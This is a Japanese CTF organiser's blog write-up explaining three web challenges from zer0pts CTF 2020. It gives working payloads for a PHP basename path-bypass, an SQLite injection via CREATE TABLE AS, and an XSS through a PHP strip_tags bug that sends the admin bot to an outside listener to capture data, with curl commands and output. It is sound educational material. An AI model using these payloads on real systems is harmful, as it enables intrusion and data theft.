st98 の日記帳


[ctf][zer0pts] zer0pts CTF 2020 で出題した問題の解説

(English version: https://hackmd.io/@ptr-yudai/HJc6fUWBL)

3 月 7 日から 3 月 9 日にかけて、チーム zer0pts は zer0pts CTF 2020 を開催しました。登録チーム数は 811 チーム、1 点以上得点したチームは 432 チームと大変多くの方にご参加いただきました。ありがとうございました。

1 位は god_shpik、2 位は perfect blue、3 位は TokyoWesterns で、いずれのチームも競技時間内に全ての問題を解いていました。おめでとうございます🎉

zer0pts/zer0pts-ctf-2020 で問題のソースコードなどが公開されていますので、問題に挑戦してみたいとか、リベンジを果たしたいといった方はぜひ遊んでみてください。

この記事では、出題された 27 問のうち私が作問した以下の 3 問について解説します。

[Web 338] Can you guess it?

Challenge (URL)

添付ファイル: Can_you_guess_it_ffc668f78ed564bf7a62463fd16bc26c.tar.gz

index.php は以下のような内容です。

<?php
include 'config.php'; // FLAG is defined in config.php

if (preg_match('/config\.php\/*$/i', $_SERVER['PHP_SELF'])) {
  exit("I don't know what you are thinking, but I won't let you read it :)");
}

if (isset($_GET['source'])) {
  highlight_file(basename($_SERVER['PHP_SELF']));
  exit();
}

$secret = bin2hex(random_bytes(64));
if (isset($_POST['guess'])) {
  $guess = (string) $_POST['guess'];
  if (hash_equals($secret, $guess)) {
    $message = 'Congratulations! The flag is: ' . FLAG;
  } else {
    $message = 'Wrong.';
  }
}
?>
<!doctype html>
<html lang="en">
  <head>
    <meta charset="utf-8">
    <title>Can you guess it?</title>
  </head>
  <body>
    <h1>Can you guess it?</h1>
    <p>If your guess is correct, I'll give you the flag.</p>
    <p><a href="?source">Source</a></p>
    <hr>
<?php if (isset($message)) { ?>
    <p><?= $message ?></p>
<?php } ?>
    <form action="index.php" method="POST">
      <input type="text" name="guess">
      <input type="submit">
    </form>
  </body>
</html>

bin2hex(random_bytes(64)) を当てればフラグが表示されますが、PHP のドキュメントを読めばわかるように現実的ではありません。

ということで、他の方法で FLAG を読み出す必要があります。include 'config.php'; // FLAG is defined in config.php というコメントから FLAGconfig.php で定義されていることがわかります。なんとかして config.php を読むことはできないでしょうか。

guess をチェックしている箇所以外で怪しそうなのは highlight_file(basename($_SERVER['PHP_SELF'])); です。basename は与えられたパスのファイル名を返す関数で、$_SERVER['PHP_SELF'] は現在実行しているスクリプトのファイル名です。ここでは自身のソースコードを表示するために使われています。

しかし、なぜ最初に $_SERVER['PHP_SELF']config.php で終わる文字列でないか確認しているのでしょう。これは /index.php/config.php にアクセスすると (実行されるスクリプトは index.php のまま) $_SERVER['PHP_SELF']/index.php/config.php になり、basenameconfig.php を返すために highlight_fileconfig.php の中身が表示されてしまうためです。ということで、これをバイパスする方法がないか探してみましょう。

basename のドキュメントをもう一度見てみましょう。

警告

basename() はロケールに依存します。 マルチバイト文字を含むパスで正しい結果を得るには、それと一致するロケールを setlocale() で設定しておかなければなりません。

「マルチバイト文字を含むパスで正しい結果を得る」には事前に setlocale() で適切な設定をしておく必要があるようです。もし適切な設定をしなければどうなるのでしょう。Dockerfile をもとに問題サーバの環境を再現し、マルチバイト文字を適当な位置に挿入して basename の返り値を見てみましょう。

$ docker run --rm -it php:7.3-apache bash
︙
root@a06cc21f03e1:/tmp# apt install -y libicu-dev
root@a06cc21f03e1:/tmp# docker-php-ext-install intl
root@a06cc21f03e1:/tmp# cat test.php
<?php
function check($str) {
  return preg_match('/config\.php\/*$/i', $str);
}

for ($i = 0; $i < 0x100; $i++) {
  $s = '/index.php/config.php/' . IntlChar::chr($i);
  if (!check($s)) {
    $t = basename('/index.php/config.php/' . chr($i));
    echo "${i}: ${t}\n";
  }
}
root@a06cc21f03e1:/tmp# php test.php
︙
120: x
121: y
122: z
123: {
124: |
125: }
126: ~
127: ^?
128: config.php
129: config.php
130: config.php
131: config.php
132: config.php
︙

/index.php/config.php/%80 で最初のチェックをすり抜けながら basename の返り値を config.php にさせることができました。これを利用して、http://3.112.201.75:8003/index.php/config.php/%80?source にアクセスするとフラグが得られます。

$ curl http://3.112.201.75:8003/index.php/config.php/%80?source
<code><span style="color: #000000">
<span style="color: #0000BB">&lt;?php<br />define</span><span style="color: #007700">(</span><span style="color: #DD0000">'FLAG'</span><span style="color: #007700">,&nbsp;</span><span style="color: #DD0000">'zer0pts{gu3ss1ng_r4nd0m_by73s_1s_un1n73nd3d_s0lu710n}'</span><span style="color: #007700">);</span>
</span>
</code>
zer0pts{gu3ss1ng_r4nd0m_by73s_1s_un1n73nd3d_s0lu710n}

最終的な正答チーム数は 44 チームで、最初に解いたチームは KUDoS でした。難易度は warmup としていますが、これより少し難しい easy としていた同じ Web カテゴリの notepad の方が少し多く解かれていました。もし if (preg_match('/config\.php\/*$/i', $_SERVER['PHP_SELF'])) { … } をなくしていたらどれぐらいのチームに解かれていたのか気になります。

PHP 問です。フラグに書かれている通り、random_bytes(64) を当てることは想定していません。できたらこわいです。

[Web 755] phpNantokaAdmin

phpNantokaAdmin is a management tool for SQLite.

Challenge (URL)

添付ファイル: phpNantokaAdmin_49b112bf908ecef40f17684f4120b0aa.tar.gz

SQLite のデータベースを管理できるツールです。実装されている機能はテーブルの作成、表示、レコードの挿入のみです。まずはフラグがどこにあるか確認しましょう。

<?php

  $pdo->query('CREATE TABLE `' . FLAG_TABLE . '` (`' . FLAG_COLUMN . '` TEXT);');
  $pdo->query('INSERT INTO `' . FLAG_TABLE . '` VALUES ("' . FLAG . '");');
  $pdo->query($sql);

テーブルの作成時に、ついでにフラグが格納されたテーブルが作られています。テーブル名とカラム名は config.php で定義された定数が使われています。なお、

<?php

  $pdo = new PDO('sqlite:db/' . $_SESSION['database']);
  $stmt = $pdo->query("SELECT name FROM sqlite_master WHERE type='table' AND name <> '" . FLAG_TABLE . "' LIMIT 1;");
  $table_name = $stmt->fetch(PDO::FETCH_ASSOC)['name'];

  $stmt = $pdo->query("PRAGMA table_info(`{$table_name}`);");
  $column_names = $stmt->fetchAll(PDO::FETCH_ASSOC);

このように表示されるテーブルはユーザが作ったものに限られています。

index.php を読むと、テーブルの作成時にテーブル名、カラム名、カラムの型で SQL インジェクションできることがわかります。

<?php

  if (!is_valid($table_name)) {
    flash('Table name contains dangerous characters.');
  }
  if (strlen($table_name) < 4 || 32 < strlen($table_name)) {
    flash('Table name must be 4-32 characters.');
  }
  if (count($columns) <= 0 || 10 < count($columns)) {
    flash('Number of columns is up to 10.');
  }

  $sql = "CREATE TABLE {$table_name} (";
  $sql .= "dummy1 TEXT, dummy2 TEXT";
  for ($i = 0; $i < count($columns); $i++) {
    $column = (string) ($columns[$i]['name'] ?? '');
    $type = (string) ($columns[$i]['type'] ?? '');

    if (!is_valid($column) || !is_valid($type)) {
      flash('Column name or type contains dangerous characters.');
    }
    if (strlen($column) < 1 || 32 < strlen($column) || strlen($type) < 1 || 32 < strlen($type)) {
      flash('Column name and type must be 1-32 characters.');
    }

    $sql .= ', ';
    $sql .= "`$column` $type";
  }
  $sql .= ');';

しかしながら、これらの文字列はその文字数と util.php で定義された is_valid 関数によるチェックが行われています。

<?php

function is_valid($string) {
  $banword = [
    // comment out, calling function...
    "[\"#'()*,\\/\\\\`-]"
  ];
  $regexp = '/' . implode('|', $banword) . '/i';
  if (preg_match($regexp, $string)) {
    return false;
  }
  return true;
}

is_valid 関数を通過できる文字を確認しましょう。

$ cat test.php
<?php
function is_valid($string) {
  $banword = [
    // comment out, calling function...
    "[\"#'()*,\\/\\\\`-]"
  ];
  $regexp = '/' . implode('|', $banword) . '/i';
  if (preg_match($regexp, $string)) {
    return false;
  }
  return true;
}

$res = '';
for ($i = 0x20; $i < 0x7f; $i++) {
  $c = chr($i);
  if (is_valid($c)) {
    $res .= $c;
  }
}

echo $res . "\n";
$ php test.php
 !$%&+.0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[]^_abcdefghijklmnopqrstuvwxyz{|}~

[] が使えるようです。SQLite においてはバックティックのかわりに [] でキーワードを囲むことができます。これは /**/ でコメントアウトするかわりに使えそうです。

また、SQLite には CREATE TABLE … AS という構文があり、これによって別のテーブルからテーブルを作成できます。

これらを利用して、テーブルの作成時にテーブル名に t AS SELECT sql [ を、カラム名に ]FROM sqlite_master; を入れることで、

CREATE TABLE t AS SELECT sql [ (dummy1 TEXT, dummy2 TEXT, `abc` ]FROM sqlite_master;);

という CREATE TABLE t AS SELECT sql FROM sqlite_master; と等価 ( (dummy1…sql のエイリアスとして解釈される) な SQL 文が発行され、テーブルの表示時にフラグが入っているテーブルの名前とカラム名を手に入れることができます。

$ curl 'http://3.112.201.75:8002/?page=create' -b cookie.txt -c cookie.txt -L -H 'Content-Type: application/x-www-form-urlencoded' --data 'table_name=t+AS+SELECT+sql+%5B&columns%5B0%5D%5Bname%5D=abc&columns%5B0%5D%5Btype%5D=%5DFROM+sqlite_master%3B'
<!doctype html>
<html lang="en">
  <head>
    <meta charset="utf-8">
    <link rel="stylesheet" href="style.css">
    <script src="https://code.jquery.com/jquery-3.4.1.min.js" integrity="sha256-CSXorXvZcTkaix6Yvo6HppcZGetbYMGWSFlBw8HfCJo=" crossorigin="anonymous"></script>
    <title>phpNantokaAdmin</title>
  </head>
  <body>
    <h1>phpNantokaAdmin</h1>
    <h2>t (<a href="?page=delete">Delete table</a>)</h2>
    <form action="?page=insert" method="POST">
      <table>
        <tr>
          <th> (dummy1 TEXT, dummy2 TEXT, `abc` </th>
        </tr>
        <tr>
          <td>CREATE TABLE `flag_bf1811da` (`flag_2a2d04c3` TEXT)</td>
        </tr>
        <tr>
          <td></td>
        </tr>
        <tr>
          <td><input type="text" name="values[]"></td>
        </tr>
      </table>
      <input type="submit" value="Insert values">
    </form>
  </body>
</html>

sqlsqlite_master をそれぞれフラグのカラム名とテーブル名に変えて実行するとフラグを手に入れることができます。

$ curl 'http://3.112.201.75:8002/?page=create' -b cookie.txt -c cookie.txt -L -H 'Content-Type: application/x-www-form-urlencoded' --data 'table_name=t+AS+SELECT+flag_2a2d04c3+%5B&columns%5B0%5D%5Bname%5D=abc&columns%5B0%5D%5Btype%5D=%5DFROM+flag_bf1811da%3B'
<!doctype html>
<html lang="en">
  <head>
    <meta charset="utf-8">
    <link rel="stylesheet" href="style.css">
    <script src="https://code.jquery.com/jquery-3.4.1.min.js" integrity="sha256-CSXorXvZcTkaix6Yvo6HppcZGetbYMGWSFlBw8HfCJo=" crossorigin="anonymous"></script>
    <title>phpNantokaAdmin</title>
  </head>
  <body>
    <h1>phpNantokaAdmin</h1>
    <h2>t (<a href="?page=delete">Delete table</a>)</h2>
    <form action="?page=insert" method="POST">
      <table>
        <tr>
          <th> (dummy1 TEXT, dummy2 TEXT, `abc` </th>
        </tr>
        <tr>
          <td>zer0pts{Smile_Sweet_Sister_Sadistic_Surprise_Service_SQL_Injection!!}</td>
        </tr>
        <tr>
          <td><input type="text" name="values[]"></td>
        </tr>
      </table>
      <input type="submit" value="Insert values">
    </form>
  </body>
</html>
zer0pts{Smile_Sweet_Sister_Sadistic_Surprise_Service_SQL_Injection!!}

最終的な正答チーム数は 8 チームで、最初に解いたチームは god_shpik でした。

SQLite の SQLi 問です。MySQL サーバを Web 上で管理できるツールである phpMyAdmin が問題名の元ネタです。もともと phpSQLiteAdmin という名前にするつもりだったのですが、当然ながら既に存在していたので適当なものに変えました。

Harekaze CTF 2018 の Sokosoko Secure Uploader といい、Harekaze CTF 2019 の SQLite Voting といい、どんだけ SQLite と SQLi が好きやねんという感じなので今後はもうちょっとなんとかしたいなあという思います。

フラグの元ネタはブレンド・Sのオープニングテーマである「ぼなぺてぃーと♡S」です。

[Web 653] MusicBlog

You can introduce favorite songs to friends with MusicBlog!

Challenge (URL)

添付ファイル: MusicBlog_637545797ab8638bffd877d7be2ec045.tar.gz

ブログです。記事の投稿時に公開するかどうか選ぶことができ、公開する設定にすれば admin がその記事を巡回しに来ていいねボタンを押すようです。記事を書く時に使える記法として [[URL]] があり、これを文中に挿入すると <audio controls src="URL"></audio> のように audio 要素として展開されます。

まずはフラグがどこにあるか確認しましょう。フラグフォーマットである zer0pts{ で検索すると、記事の公開時に admin にアクセスさせるためのコードの一部である worker/worker.js に存在していることがわかります。

// (snipped)

const flag = 'zer0pts{<censored>}';

// (snipped)

const crawl = async (url) => {
    console.log(`[+] Query! (${url})`);
    const page = await browser.newPage();
    try {
        await page.setUserAgent(flag);
        await page.goto(url, {
            waitUntil: 'networkidle0',
            timeout: 10 * 1000,
        });
        await page.click('#like');
    } catch (err){
        console.log(err);
    }
    await page.close();
    console.log(`[+] Done! (${url})`)
};

// (snipped)

await page.setUserAgent(flag); とユーザエージェントにフラグが入っています。まず [[URL]] を使って外部にリクエストを発生させる方法が考えられますが、Content-Security-Policy: default-src 'self'; object-src 'none'; script-src 'nonce-yuAhic5Y6HSsT0e5zC8Qlg==' 'strict-dynamic'; base-uri 'none'; trusted-types のようにやたらと厳しい Content Security Policy によって禁じられています。

では、admin が await page.click('#like');id 属性が like になっている要素をクリックすることを利用して、XSS によって admin を外部の URL にリダイレクトさせることはできないでしょうか。記事の個別ページである post.php を見ると、以下のように記事の内容は render_tags に投げてその返り値をそのまま表示しています。

<div class="mt-3">
            <?= render_tags($post['content']) ?>
          </div>

render_tagsutil.php で定義されています。

<?php
// [[URL]] → <audio src="URL"></audio>
function render_tags($str) {
  $str = preg_replace('/\[\[(.+?)\]\]/', '<audio controls src="\\1"></audio>', $str);
  $str = strip_tags($str, '<audio>'); // only allows `<audio>`
  return $str;
}

[[URL]]<audio controls src="URL"></audio> に置換したあと、strip_tags によって audio 要素以外を消して XSS を防ごうとしています。これによって、[["></audio><script>alert(1)</script>]] のような文字列を投げても <audio controls src=""></audio>alert(1)"></audio> のように <script></script> が削除されてしまいます。なんとかならないでしょうか。

Web サーバの Dockerfile を見ると、使われている PHP のバージョンが PHP 7.4.0 であることがわかります。この記事が書かれた 2020 年 3 月 7 日時点での最新のバージョンは PHP 7.4.3 ですから、少し古いものが使われています。PHP 7.4.0 の次のバージョンである PHP 7.4.1 の ChangeLog を見てみましょう。

おや、strip_tags に存在したバグが直されているようです。どんなバグか PHP :: Bug #78814 :: strip_tags allows / in tag name, allowing whitelist bypass in browsers から詳しく見てみましょう。

Bug #78814 strip_tags allows / in tag name, allowing whitelist bypass in browsers

When strip_tags is used with a whitelist of tags, php allows slashes (“/”) that occur inside the name of a whitelisted tag and copies them to the result.

For example, if <strong> is whitelisted, then a tag <s/trong> is also kept.

<strong> というタグがホワイトリストとして与えられていた場合、これにスラッシュを付け加えた <s/trong> が投げられた場合にもこれを削除せずに通してしまうバグのようです。MusicBlog の場合にはホワイトリストとして <audio> が与えられていますが、audioa を含むので <a/udio> を通してしまうようです。

これを利用すれば、[["></audio><a/udio href="(URL)" id="like">test</a/udio><audio a="]] のような内容の記事を公開することで以下のような HTML に展開され、

<audio controls src=""></audio><a/udio href="(URL)" id="like">test</a/udio><audio a=""></audio>

admin に好きな URL を踏ませることができます。

$ nc -lvp 8000
Listening on [0.0.0.0] (family 0, port 8000)
Connection from ec2-3-112-201-75.ap-northeast-1.compute.amazonaws.com 33926 received!
GET / HTTP/1.1
︙
Connection: keep-alive
Upgrade-Insecure-Requests: 1
User-Agent: zer0pts{M4sh1m4fr3sh!!}
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
︙
Accept-Encoding: gzip, deflate
Accept-Language: en-US
zer0pts{M4sh1m4fr3sh!!}

最終的な正答チーム数は 13 チームで、最初に解いたチームは The Duck でした。

警告

XSS攻撃を防ぐ目的で、この関数を使うべきではありません。 htmlspecialchars() のような、より適切な関数、 もしくは、出力のコンテキストによっては他の手段を使うようにしてください。

(strip_tags() の公式ドキュメント)

はい。

PHP + XSS 問です。PHP の Bug #78814: strip_tags allows / in tag name, allowing whitelist bypass in browsers というバグを利用して XSS で admin を適当な URL に遷移させる問題でした。これは PHP 7.4.1 で修正されており、添付している DockerfileFROM php:7.4.0-apache から、なぜちょっと古めのバージョンを使っているんだろうと疑問を持ってリリースログを調べてみたり、strip_tags を見てなんかバイパスできないかなと PHP のバグトラッカーを調べてみたりといった流れで辿り着いてもらえればいいなあという感じでした。このバグはふるつきさんに紹介していただいたものでした。また、クローラ部分は ptr-yudai さんに書いていただきました。

フラグはマシマフレッシュと読みます。

このエントリーをはてなブックマークに追加
st98.github.io / st98 の日記帳